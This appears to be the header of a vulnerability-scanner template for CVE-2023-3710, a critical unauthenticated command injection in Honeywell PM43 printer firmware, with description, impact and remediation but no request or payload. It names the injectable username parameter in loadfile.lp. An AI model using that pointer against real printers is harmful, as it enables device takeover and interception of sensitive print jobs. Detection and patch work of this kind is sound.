id: CVE-2023-3710

info:
  name: Honeywell PM43 Printers - Command Injection
  author: win3zz
  severity: critical
  description: |
    Improper Input Validation vulnerability in Honeywell PM43 on 32 bit, ARM (Printer web page modules) allows Command Injection.This issue affects PM43 versions prior to P10.19.050004. Update to the latest available firmware version of the respective printers to version MR19.5 (e.g. P10.19.050006)
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the username parameter in loadfile.lp, potentially gaining full control of Honeywell PM43 printers and intercepting print jobs containing sensitive documents.
  remediation: |
    Update Honeywell PM43 printer firmware to version P10.19.050004 (MR19.5) or later that properly sanitizes input in loadfile.lp and prevents command injection attacks.
